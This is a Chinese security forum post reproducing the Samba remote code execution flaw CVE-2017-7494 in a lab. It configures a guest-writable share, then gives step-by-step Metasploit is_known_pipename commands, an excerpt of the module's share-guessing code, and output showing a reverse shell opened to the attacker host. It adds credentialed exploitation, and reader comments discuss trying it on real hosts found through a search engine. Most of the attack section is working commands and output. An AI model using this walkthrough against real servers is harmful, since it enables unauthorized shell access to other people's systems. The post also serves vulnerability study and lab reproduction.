Samba远程代码执行漏洞利用

云絮 / 2017-05-25 12:39:56 / 浏览数 4793 安全技术 漏洞分析 顶(0) 踩(0)

概述

linux或unix下所使用Samba服务允许恶意的用户上传类库到可读可写的共享目录进而导致服务器远程代码执行。

漏洞编号: CVE-2017-7494

漏洞等级: 严重

漏洞影响: Samba 3.5.0 和包括4.6.4/4.5.10/4.4.14中间版本

默认端口: 445

漏洞复现

1.靶机环境搭建：

靶机环境系统使用kali:

```
IP■■■192.168.10.62

root@yunxu:/# uname -a
Linux yunxu 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU/Linux
```

安装samba：

```
apt-get install samba
```

配置samba的共享目录:

```
root@yunxu:/# mkdir /home/share   #■■■■■■■■■
root@yunxu:/# chmod 777 /home/share  #■■■■■
```

修改samba配置文件：

```
root@yunxu:/# gedit /etc/samba/smb.conf  #■■■■■■■■
```

在配置文件末尾添加一个新的配置

```
  [myshare]
comment=test
browseable=yes #■■
writeable=yes #■■
path=/home/share  #■■■■■■■■■■■■■■■
guest ok=yes #■■■■■■■■■■■■■■■
```

启动服务：

```
root@yunxu:/# service smbd start
```

2.metasploit 利用

攻击环境系统使用kali:

```
IP■192.168.10.124
```

更新msf利用模块：

该漏洞的利用poc已经在metasploit的github上更新，下载地址：

https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb

将模块更新到kali下metasploit的目录中：

```
/usr/share/metasploit-framework/modules/exploits/linux/samba/is_known_pipename.rb
```

设置模块:

```
msf > use exploit/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > show options
```

这里需要设置几个参数

rhost 设置目标IP地址

rport 设置目标端口，默认是445

smb_share_base 设置smb目录，这里靶机是/home/share

target 设置系统版本

通过查看该利用模块的代码发现，该利用模块默认可以不设置smb_share_base目录，他会通过一些预定义的目录搜索可读可写的目录，如果文件共享目录不在这些预定义目

```
def generate_common_locations
candidates = []
if datastore['SMB_SHARE_BASE'].to_s.length > 0
candidates << datastore['SMB_SHARE_BASE']
end

%W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name|
candidates << base_name
candidates << [base_name, @share]
candidates << [base_name, @share.downcase]
candidates << [base_name, @share.upcase]
candidates << [base_name, @share.capitalize]
candidates << [base_name, @share.gsub(" ", "_")]
end

candidates.uniq
end
```

预定义的目录：

```
/volume1
/volume2
/volume3
/shared
/mnt
/mnt/usb
/media
/mnt/media
/var/samba
/tmp
/home
/home/shared
```

因为靶机的目录是/home/share，所以需要手动设置下smb_share_base，设置步骤如下：

```
msf exploit(is_known_pipename) > set rhost 192.168.10.62
rhost => 192.168.10.62
msf exploit(is_known_pipename) > set smb_share_base /home/share
smb_share_base => /home/share
msf exploit(is_known_pipename) > set target 0
target => 0
```

可以选择一个自己喜欢用的payload,这里我使用默认的。

msf exploit(is_known_pipename) > exploit

```
[*] Started reverse TCP handler on 192.168.10.124:4444
[*] 192.168.10.62:445 - Using location \\192.168.10.62\myshare\ for the path
[*] 192.168.10.62:445 - Payload is stored in //192.168.10.62/myshare/ as LLaLrtwG.so
[*] 192.168.10.62:445 - Trying location /home/share/LLaLrtwG.so...
[*] Command shell session 1 opened (192.168.10.124:4444 -> 192.168.10.62:33614) at 2017-05-25 17:43:11 +0800

id
uid=65534(nobody) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)
```

这样攻击就可以完成了，我们直接拿到了root权限的shell,但是smb服务通常管理员为了安全会设置账号密码，如果在有账号密码的环境下怎么办呢？这里靶机重新修改下配

```
root@yunxu:/# gedit /etc/samba/smb.conf
```

设置共享目录不允许guest访问：

```
[myshare]
comment=test
browseable=yes #■■
writeable=yes #■■
path=/home/share  #■■■■■■■■■■■■
#■■guest ok=yes■■■■guest■■■■
```

在 [global] 设置选项中添加配置：

```
security = user
```

设置smb用户：

```
    root@yunxu:/# useradd smbuser     #■■■■
root@yunxu:/# smbpasswd -a smbuser #■■■■
New SMB password:
Retype new SMB password:

root@yunxu:/# service smbd restart #■■■■
```

接下来smb账户就需要提供用户名和密码才能访问了，为了测试可以直接在msf中exploit看看能否像刚刚那样成功反弹一个shell。

这里攻击靶机的时候可以看到失败了，说明添加用户密码后无法正常连接，那么可以通过设置用户名和密码的参数来试试，模块默认不显示这两个参数，可以手动设置下

```
msf exploit(is_known_pipename) > set SMBUSER smbuser
SMBUser => smbuser
msf exploit(is_known_pipename) > set SMBPASS 123123
SMBPass => 123123
```

尝试执行exploit：

参考：

http://bobao.360.cn/learning/detail/3900.html
https://securityonline.info/cve-2017-7494-samba-remote-code-execution-vulnerability/
https://github.com/rapid7/metasploit-framework/pull/8450

上一篇：各位师傅们请问BurpSuite怎... 下一篇：Loki窃密木马家族分析

1. 5 条回复

ly55521 2017-05-26 05:05:01

钟馗之眼 找了几个 木有 成功，猜不到共享目录。。。

0 回复Ta


all0shell 2017-05-26 11:40:32

Exploit completed, but no session was created.

0 回复Ta


云絮 2017-05-27 05:53:34

如果能保证确实是存在漏洞的版本，可以试试设置系统版本为自动，还有一定要保证你共享的目录在poc尝试的预定义目录内，比如tmp目录就可以，如果不在需要手动

0 回复Ta


hades 2017-05-27 08:21:39

没时间测试。。欢迎大伙积极来测试ing，楼主会细心解答

0 回复Ta

simeon 2017-06-02 05:04:45

回头实际测试看看效果如何！

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板